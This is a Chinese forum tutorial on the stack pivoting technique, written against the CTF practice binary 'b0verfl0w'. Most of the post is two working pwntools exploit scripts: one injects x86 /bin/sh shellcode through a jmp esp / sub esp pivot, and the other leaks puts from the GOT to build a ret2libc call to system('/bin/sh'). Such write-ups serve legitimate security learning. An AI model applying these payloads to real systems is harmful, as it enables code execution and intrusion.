首页
社区
课程
招聘
[原创]花式栈溢出技巧-stack pivoting
发表于: 2024-6-19 16:24 3361

[原创]花式栈溢出技巧-stack pivoting

2024-6-19 16:24
3361

1. 原理

劫持栈指针(ESP)指向攻击者想让执行的地方。
可能在以下情况需要使用 stack pivoting

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

图片描述

2 使用条件

利用 stack pivoting 有以下几个要求

  • 可以控制程序执行流。
  • 可以控制 sp 指针(栈顶指针)。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
  • heap。但是这个需要我们能够泄露堆地址。

程序本身并没有开启堆栈保护,所以我们可以在栈上布置 shellcode 并执行。基本利用思路如下

  • 利用栈溢出布置 shellcode
  • 控制 eip 指向 shellcode 处

3. Exp解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
p = process('b0verfl0w')
 
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
print(len(shellcode_x86))
print("shellcode_x86 :", (0x20 - len(shellcode_x86)) *  'b')
 
 
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
# gdb.attach(p, "b *vul\r\n")
# 32   4
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b' + 'cccc' + p32(jmp_esp) + sub_esp_jmp
 
p.sendline(payload)
 
p.interactive()

生成shellcode

1
2
3
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

把shellcode放到寄存器中, 因为寄存器的存储大小是0x20 用shellcode的长度减去0x20得到shellcode不足溢出并补充'b'

1
shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b'

ebp填充

1
'cccc'

跳转到下一个栈帧的栈顶
jmp_esp
重新定义栈大小并跳转到esp栈顶
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
接着溢出溢出到下一栈帧改变栈帧的内容向上太高栈顶,然后跳转栈顶的shellcode上。
p32(jmp_esp) + sub_esp_jmp

1
2
3
4
5
jmp_esp = 0x08048504 #
....
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
....
p32(jmp_esp) + sub_esp_jmp

图片描述

4.Exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding=utf-8
from pwn import *
  
 
p = process('b0verfl0w')
elf = ELF('b0verfl0w')
libc = ELF('libc.so')
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
_start_plt = elf.symbols['_start']
print("puts_got: %x" %  puts_got)
if args.G:
    gdb.attach(p, 'b *vul')
 
# p.recvline("What's your name?")
payload = 'a'*32+'bbbb'+p32(puts_plt)+p32(_start_plt)+p32(puts_got)
 
p.sendline(payload)
  
time.sleep(3)
 
puts_addrs_data = p.recv()
puts_addrs = u32(puts_addrs_data[137:137+4])
print("recv接收到的内容 " , hex(puts_addrs))
 
libc_addrs = puts_addrs - libc.symbols['puts']
system_addrs = libc_addrs + libc.symbols['system']
binsh_addr = libc_addrs + next(libc.search('/bin/sh'))
print(hex(libc_addrs))
print("system_addrs : ", hex(system_addrs))
 
payload = 'a'*32+ 'bbbb' + p32(system_addrs) + 'bbbb' + p32(binsh_addr)
p.sendline(payload)
 
p.interactive()

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//